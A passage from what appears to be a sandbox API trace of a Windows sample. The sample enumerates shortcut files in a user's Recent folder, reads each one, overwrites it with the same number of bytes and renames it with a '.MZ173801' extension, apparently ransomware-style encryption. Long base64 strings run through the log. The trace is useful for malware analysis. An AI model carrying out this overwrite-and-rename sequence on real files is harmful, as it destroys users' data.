ERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.621] GetCurrentThreadId () returned 0x9fc [0120.621] GetCurrentThreadId () returned 0x9fc [0120.622] GetCurrentThreadId () returned 0x9fc [0120.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.622] GetCurrentThreadId () returned 0x9fc [0120.622] GetCurrentThreadId () returned 0x9fc [0120.622] GetCurrentThreadId () returned 0x9fc [0120.623] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4 no16yO 0.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4 no16yo 0.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.623] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.623] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.623] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x207d [0120.623] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.623] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x207d, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x207d, lpOverlapped=0x0) returned 1 [0120.624] CloseHandle (hObject=0x288) returned 1 [0120.624] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4 no16yO 0.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4 no16yo 0.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.626] WriteFile (in: hFile=0x288, lpBuffer=0x733ed0*, nNumberOfBytesToWrite=0x207d, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x733ed0*, lpNumberOfBytesWritten=0x18f99c*=0x207d, lpOverlapped=0x0) returned 1 [0120.627] CloseHandle (hObject=0x288) returned 1 [0120.629] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4 no16yO 0.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4 no16yo 0.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4 no16yO 0.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4 no16yo 0.lnk.mz173801")) returned 1 [0120.630] GetCurrentThreadId () returned 0x9fc [0120.630] GetCurrentThreadId () returned 0x9fc [0120.630] GetCurrentThreadId () returned 0x9fc [0120.630] GetCurrentThreadId () returned 0x9fc [0120.630] GetCurrentThreadId () returned 0x9fc [0120.630] GetCurrentThreadId () returned 0x9fc [0120.630] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfcf58e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfcf58e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfcf58e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa37, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="45pja94adq.lnk", cAlternateFileName="45PJA9~1.LNK")) returned 1 [0120.631] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.631] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.631] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\45pja94adq.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\45pja94adq.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfcf58e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfcf58e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfcf58e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa37)) returned 1 [0120.677] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.677] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.677] GetCurrentThreadId () returned 0x9fc [0120.678] GetCurrentThreadId () returned 0x9fc [0120.678] GetCurrentThreadId () returned 0x9fc [0120.678] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.678] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.678] GetCurrentThreadId () returned 0x9fc [0120.678] GetCurrentThreadId () returned 0x9fc [0120.678] GetCurrentThreadId () returned 0x9fc [0120.678] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\45pja94adq.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\45pja94adq.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.678] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.679] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.679] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xa37 [0120.679] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.679] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa37, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa37, lpOverlapped=0x0) returned 1 [0120.680] CloseHandle (hObject=0x288) returned 1 [0120.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\45pja94adq.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\45pja94adq.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.681] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa37, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa37, lpOverlapped=0x0) returned 1 [0120.682] CloseHandle (hObject=0x288) returned 1 [0120.683] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\45pja94adq.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\45pja94adq.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\45pja94adq.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\45pja94adq.lnk.mz173801")) returned 1 [0120.684] GetCurrentThreadId () returned 0x9fc [0120.684] GetCurrentThreadId () returned 0x9fc [0120.684] GetCurrentThreadId () returned 0x9fc [0120.684] GetCurrentThreadId () returned 0x9fc [0120.684] GetCurrentThreadId () returned 0x9fc [0120.684] GetCurrentThreadId () returned 0x9fc [0120.684] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddfa6a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde86db20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde86db20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1382, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="4MEDSGumwQmrlccZ3NM.lnk", cAlternateFileName="4MEDSG~1.LNK")) returned 1 [0120.684] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.684] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.684] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4MEDSGumwQmrlccZ3NM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4medsgumwqmrlccz3nm.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddfa6a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde86db20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde86db20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1382)) returned 1 [0120.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDR